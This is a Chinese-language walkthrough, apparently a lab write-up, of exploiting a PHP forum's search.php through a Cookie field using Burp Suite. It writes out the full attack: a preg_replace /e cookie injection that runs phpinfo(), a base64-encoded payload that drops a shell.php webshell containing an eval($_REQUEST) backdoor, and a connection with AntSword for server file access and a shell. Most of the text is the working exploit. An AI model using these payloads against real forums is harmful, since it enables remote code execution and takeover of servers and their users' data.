1.进入选择帖子的页面
URL:http://x.x.x.x:8080/search.php?searchid=2&orderby=lastpost&ascdesc=desc&searchsubmit=yes
2.通过Burpsuite抓包
在Burpsuite中设置监听127.0.0.1:8080
,浏览器中开启代理,挂到Burpsuite
bp开启代理,如图:
浏览器设置代理,如图:
此时就可以开始抓包了!
随便点击一个帖子,进入Burpsuite中查看到此请求包,如图:
3.数据包重放测试
点击Action将刚刚抓到的数据包发送到Repeater模块,如图:
进入Repeater模块,在Cookie字段中添加如下内容GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
,点击send,几秒后点击response中的render按钮将返回的数据包渲染成页面,发现phpinfo()方法执行成功!如图:
4.构造其他代码执行,并通过AntSword连接
将phpinfo()处的php代码修改为fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777])?>');
(此代码的作用是在当前目录下创建一个名为shell.php的文件,文件内容是<?=@eval($_REQUEST[777])?>'
),点击send,发现回包中出现错误,服务器将双引号、单引号、尖括号都做了转码,因此我们刚才这种做法是无法将刚刚的php代码执行的,如图:
此时想到将此段代码进行base64编码,再通过php中的base64_decode
函数解码,打开Decoder模块,将刚刚的代码进行编码,如图:
将补位的等号删除,不然会影响解码,这时再构造如下函数代码base64_decode(ZnB1dHMoZm9wZW4oInNoZWxsLnBocCIsJ3cnKSwnPD89QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKTs)
,并放到Cookie中,并发送数据包,查看返回结果,返回200 OK,说明代码没有执行错误,如图:
关掉BP的拦截,如图:
访问代码生成的sell.php文件http://x.x.x.x:8080/shell.php
,发现没有错误提示,但是什么也没有加载出来,如图
此时打开,antsword工具,添加新连接,并测试连接,发现连接成功,如图:
添加该连接后,此时就拿到了服务器的文件目录,以及限制权限的shell,还有其他等等功能,如图:
至此,就完成了!